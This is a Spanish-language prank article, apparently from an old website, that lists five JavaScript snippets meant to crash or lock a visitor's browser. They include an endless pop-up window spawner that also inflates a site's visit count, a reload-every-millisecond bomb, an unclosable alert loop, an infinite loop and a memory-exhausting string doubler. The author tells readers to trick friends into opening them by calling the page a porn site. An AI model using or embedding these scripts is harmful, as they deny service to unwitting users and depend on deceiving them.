En este articulo expondré diferentes trozos de código en lenguaje JavaScript, llamados “Los Cinco botones del infierno” (en realidad eran 6, pero el sexto no lo he podido hacer funcionar) Gracias a estos pequeños códigos de javascript podrás paralizar al navegador, dejar sin memoria el ordenador logrando así un reset casi obligado :), y un par de cosillas mas. Antes de comenzar tengo que explicar que estos scripts no son peligrosos, y como ya he dicho, el efecto mas dañino que puede tener es el cuelgue completo del sistema, pero poco mas, el hardware ni el software se vera afectado de ninguna forma, así que no nos pongamos nerviosos.

También tengo que decir, que si quieres divertirte con estos scrips, mejor que se los pases a un amigo diciendo que es una web porno o algo así, porque como los cuelgues en la red en forma de pagina web, y los visitantes de la misma comiencen a pulsar el reset como posesos... seguramente alguno se cabreara, y será peor para ti. Después de estos avisos, a los que seguramente nadie hará ni caso, comenzamos con el articulo.

Una ultima cosa, todo lo que dentro del código lleva // son comentarios míos, no forman parte del código.




1er botón del infierno:

Nombre: Window Spawner
Acción: Abrir ventanas sin parar, con el problema que eso acarrea.
Código fuente:

// Abrir ventanas sin parar
function WindowBomb()
{
var iCounter = 0 // contador
while (true)
{
window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")

// La función para abrir ventanas como un loco
iCounter++
}
}

Como podéis ver, lo que este script hace es abrir ventanas sin parar, de un tamaño de 1x1 pixels. En la ventana se carga la web http://www.NETural.com/~ccamel. Como podéis ver, también es una forma poco legal, de conseguir un montón de visitas en tu web. Podeis ver su funcionamiento pinchando en el botón que tenéis a continuación:





2º Botón del infierno.

Nombre: Bomba de recarga
Acción: Recarga la web cada milisegundo
Código fuente:

// No es tan interesante como otras bombas, pero te obliga
// a estar en la misma pagina. El usuario no puede cambiar de web,
// o hacer click en el botón stop para detener la carga.

function ReloadBomb()
{
history.go(0)
// Recarga la pagina
window.setTimeout('ReloadBomb()',1) // Le indica al netscape que realice la acción
// cada milisegundo :)

}

Este script es bastante molesto, y al igual que la anterior también te puede servir para subir el contador de visitas, pero creo que en un milisegundo al contador no le dar tiempo de contabilizar todas las visitas :) Si quereis verlo en funcionamiento, pinchar en el siguiente botón:





3er Botón del infierno.

Nombre: Advertencias sin fin
Acción: Abre una ventana de advertencia, en la que pulsando OK se quitaría de nuestra vista, ahora gracias a este script el personaje que pulse en el botón se pasara toda su vida pulsando en OK :)
Código fuente:

function AnnoyingButton()
{
while (true)
window.alert("HAHAHA...tu no puedes cerrar esta ventana si no reseteas....HAHAHA!") }
// Abre una ventana una y otra vez, la cual nunca se podrá cerrar.

Este script es imposible de paralizar, después de cerrar una, siempre aparecerá otra :) la única forma de quitarsela de encima es haciendo un reset o tratando de cerrar netscape a lo bestia, usease, CTRL+ALT+SUPR. Ala, pinchar en el botón y disfrutar del espectáculo.






4º Botón del infierno.

Nombre: Bucle, bucle...
Acción: Ejecuta una acción infinitamente, dejando sin recursos al navegador. Los navegadores mas actualizados ya avisan que una secuencia de comandos esta dejandolo frito, así que ya es difícil hacerlo funcionar :)
Código fuente:

function WhileLoopLock()
{
while (true){}
}

Como veis, el código no podía ser mas sencillo :) Repite la acción, en while, una y otra vez, así hasta el fin de los tiempos, logrando que el navegador se valla a la mie***. Pulsa en el siguiente botón, y disfruta.





5º Botón del infierno

Nombre: Come-memoria
Acción: Pos eso, que come memoria como un loco.
Código fuente:

var szEatMemory = "GOBBLEGOBBLE" // la frase encargada de comer to :)
// Con este script es posible colgar una maquina con 16 megas de RAM en poco tiempo
// y lo mejor de todo es que funciona!!!!

function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory
window.status = "String Length is: " + szEatMemory.length
// informa de el tamaño
window.setTimeout('EatMemoryInTime()',1);
// Le dice al navegador que ejecute esta función
}

Este es el mejor, nunca falla, en poco tiempo el sistema dejara de funcionar, y la única solución será un reset :) Pruebalo, veras que divertido: